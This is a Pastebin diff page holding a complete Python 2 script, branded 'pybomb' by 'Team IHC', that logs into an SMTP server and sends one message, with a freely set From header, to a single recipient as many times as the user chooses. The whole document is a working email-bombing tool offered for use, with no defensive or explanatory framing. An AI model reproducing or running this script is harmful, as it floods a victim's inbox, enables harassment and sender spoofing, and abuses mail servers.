View difference between Paste ID: rQLsFXMw and m9pBWaJP
SHOW: | | - or go back to the newest paste.
1
import smtplib
2
import mimetypes
3
import sys
4
import time
5
from email.MIMEText import MIMEText
6
class SMTP(object):
7
      def title(self):
8
            print """         \t______       _                     _     
9
            \t| ___ \     | |                   | |    
10
            \t| |_/ /_   _| |__   ___  _ __ ___ | |__  
11
            \t|  __/| | | | '_ \ / _ \| '_ ` _ \| '_ \ 
12
            \t| |   | |_| | |_) | (_) | | | | | | |_) |
13
            \t\_|    \__, |_.__/ \___/|_| |_| |_|_.__/ 
14
            \t        __/ |                            
15
            \t       |___/                             
16
            \t Tool made by: Team IHC
17
                  """
18
19
      def SMTPconnect(self):
20
            print "For a complete list of SMTP server go to this link:"
21
            print "http://www.e-eeasy.com/SMTPServerList.aspx"
22
            self.smtpserver=raw_input("\nEnter SMTP server: ")
23
            self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ")
24
            print "\tMaking Connection, Please wait"
25
            print "\tThis will take some seconds!"
26
            try:
27
                  self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)
28
            except IOError, e:
29
                  print 'Error: %s' %(e)
30
                  time.sleep(5)
31
                  sys.exit(1)
32
            self.mailServer.starttls()
33
            self.username=raw_input("\nEnter Username: ")
34
            self.password=raw_input("Enter Password: ")
35
            try:
36
                  self.mailServer.login(self.username,self.password)
37
            except BaseException, e:
38
                  print 'Error: %s' % (e)
39
                  time.sleep(3)
40
                  sys.exit(1)
41
      def buildemail(self):
42
            print "\tBuilding message part"
43
            self.From = raw_input("\nFrom: ")
44
            self.To = raw_input("\nTo: ")
45
            self.Subject = raw_input("\nSubject: ")
46
            self.Message = raw_input("\nMessage: ")
47
            mensaje = MIMEText(self.Message)
48
            mensaje['From']=self.From 
49
            mensaje['To']=self.To
50
            mensaje['Subject']=self.Subject
51
            self.ammount = input("How Many times would you like to send email: ")
52
            x = 0
53
            while x < self.ammount:
54
                  self.mailServer.sendmail(self.From, self.To, mensaje.as_string())
55
                  x+=1
56
            print "Send %d messages to %s" %(self.ammount,self.To)
57
            time.sleep(7)
58
            print "Thnx for using pybomb!\nhttp://facebook.com/itsmehulbhatt\n"
59
if __name__ == '__main__':
60
      s = SMTP()
61
      s.title()
62
      s.SMTPconnect()
63
      s.buildemail()